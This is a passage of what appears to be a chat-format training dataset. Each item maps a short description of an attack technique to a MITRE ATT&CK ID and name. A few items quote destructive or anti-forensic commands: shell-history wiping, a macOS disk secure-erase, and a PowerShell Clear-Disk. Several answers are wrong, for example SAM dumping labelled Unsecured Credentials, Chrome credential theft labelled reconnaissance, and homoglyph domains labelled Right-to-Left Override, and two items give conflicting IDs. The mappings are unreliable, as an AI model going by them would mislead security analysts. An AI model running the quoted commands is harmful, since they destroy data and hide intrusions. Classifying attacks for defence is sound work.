                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the control.exe utility, the attacker proxies code execution to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes the PowerShell cmdlet Get-Process to view running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in a custom COM add‑in DLL and the add‑in is added to the Office startup list, causing it to execute whenever Excel is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploit script copies a malicious netsh helper DLL to the system directory and then executes netsh to trigger the DLL, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a folder named 'C:\\Program Files\\MyApp' containing a rogue 'myapp.exe' and relies on the unquoted path of a scheduled task to run their code before the legit binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes the cloud provider's API to programmatically take snapshots of compromised compute resources for persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the 'ps' command with the '-U' flag to list processes by local user, indirectly revealing local accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script moves collected logs to a zip archive on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a compromised business partner's email account to distribute a malicious document to targeted staff, leveraging trust to deploy ransomware on the victims' machines."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code sends DNS queries that contain encoded payloads, making the traffic look like regular DNS lookups."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a malicious browser extension distributed via a compromised download page to execute drive‑by compromise and drop a RAT."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a new key into /System/Library/LaunchDaemons/com.apple.installer.plist, causing a Trojan to execute with root privileges on boot."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects false entries into a system's DNS cache to poison name resolution."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After executing malicious commands, the attacker runs \"rm -f ~/.bash_history && history -c\" to completely clear any trace of the commands entered."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software reads the Windows SAM database to obtain local user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor triggers a denial‑of‑service by leveraging a race condition in a locally installed service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA is initially placed in an Office document, then the VBA code is stomped with benign code to obscure the malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑criminal adds a new launch agent entry via the macOS defaults command, causing a backdoor to run silently."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages launchd to create a persistent launch daemon that runs a hidden miner on macOS machines."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑espionage group employs a technique of flooding system memory with junk data blocks, making forensic analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential Access is performed by exploiting insecure configuration of stored credentials in IIS application pools."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs binary padding by appending non-operational data to the PE file, affecting hash-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies a launch agent plist and uses launchctl start to run the payload each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the intruder produced a snapshot of the victim's cloud instance to facilitate later lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Gmail address under a fabricated name to use for phishing and C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used PowerShell to run Remove-MailboxFolderPermission on compromised accounts, erasing mailbox contents."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious activity involved chaining together multiple proxy services, creating a multi-hop proxy that relayed malicious traffic through several intermediary hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use homoglyph attacks where similar characters from different alphabets are used to create fake domain names that look legitimate"
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware inserts a malicious executable into the System Preferences > Users & Groups > Login Items list on macOS."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer stores its command strings in an encrypted payload that is decrypted just before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs DNS zone transfers to enumerate subdomains and host records."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group reverse‑engineers an existing malware family to add new evasion techniques before redeploying it."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages data on an offsite NFS share before initiating bulk exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software monitors notification streams on the device and automatically approves MFA push prompts."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the macOS 'diskutil secureErase 0 /dev/disk2' command to perform a single‑pass secure erase of the target disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers the mailing addresses of a company's subsidiaries from its website and corporate filings."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a double‑extension image (e.g., picture.jpg.exe) that appears as a photo but actually runs a malicious executable when double‑clicked."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queried the registry for the default mail client path and then copied its data files."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant retrieves stored SSH private keys from a compromised Linux host and uses them to establish new SSH sessions to other servers."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects false DNS records into the local DNS cache to redirect traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the threat actor stages the harvested data in a hidden network share for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the ptrace system call to gain debugging access to a high-privilege process, then injects a reverse shell payload by directly writing to the process's memory and altering its registers."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edits the Run key in the HKU\\.DEFAULT hive to ensure execution for all users."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes credential data from browsers by copying the Chrome 'Login Data' SQLite database."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a malicious macro in a Microsoft Word document to simulate the PrintScreen key and exfiltrate the image."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs a remote PowerShell command to invoke \"Clear-Disk\" with the –RemoveData flag, erasing all partitions."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware alters the Mach-O file's load commands, inserting LC_LOAD_DYLIB to ensure a rogue library is loaded on each launch."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the legitimate python.exe with a malicious script but keeps the filename unchanged to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary scans the system's running processes for known debugger process IDs and terminates if any are found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a session hijacking by stealing the authentication cookie from a compromised HTTP request and replaying it."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set adds decoy characters to logs before exfiltration, inflating the logs' size and obscuring the actual malicious entries."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor installs a fake Active Directory Domain Services server that responds to LDAP queries, allowing them to exfiltrate user accounts."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses HTTP polling to a known malicious domain to retrieve command scripts."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the 'net share' command to discover shared resources across the domain."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor harvests network trust information by scanning for domain trusts and forest relationships."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group exploited a compromised AWS Lambda function to read and exfiltrate data from an attached S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script monitors for the insertion of removable media and writes stolen data to the device as soon as it is detected."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries develop zero‑day exploits for Windows kernel flaws to use in future campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious configuration change: adding a line to /etc/environment that runs a payload during every shell session start."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script invoked the SubInACL tool to recursively grant modify rights to a compromised service account on all files within the application’s install directory."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performed a supply‑chain attack by injecting malicious code into a software build and signing it with a hijacked certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group extracts information about the target's business relationships from financial statements, shareholder reports, and SEC filings."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs DNS NS record queries to infer the network topology and select a target host."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a golden ticket attack by creating a counterfeit Kerberos TGT with the KRBTGT hash, enabling stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new transport agent DLL with the Exchange service to intercept and modify email traffic."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employs a custom DLL that calls the BitBlt API to programmatically grab screen pixels and exfiltrate them via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team sets a recurring Kubernetes Job that triggers a container to perform privilege escalation through a known vulnerability in the host kernel."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor establishes persistence on a compromised system by scheduling tasks or using cron jobs to ensure malware execution continues even after reboots."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload drops a binary that activates the laptop’s camera and stores recorded video in a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the malicious code calls the Windows API `MsiEnumProducts` to retrieve product codes for installed programs."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a secure gRPC channel with TLS to communicate with a C2 service."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a legitimate code signing service's API to request signatures for arbitrary binaries, enabling execution without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a malicious bash script to enumerate user accounts and extract password hashes."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a watering hole attack to compromise a website and infect visitors"
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set enumerates the victim's DNS zone transfers (AXFR) to retrieve a complete list of hostnames within the domain."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve victim mailbox contents using Outlook Web Access by stealing user credentials and directly accessing the mail server."
            },
            {
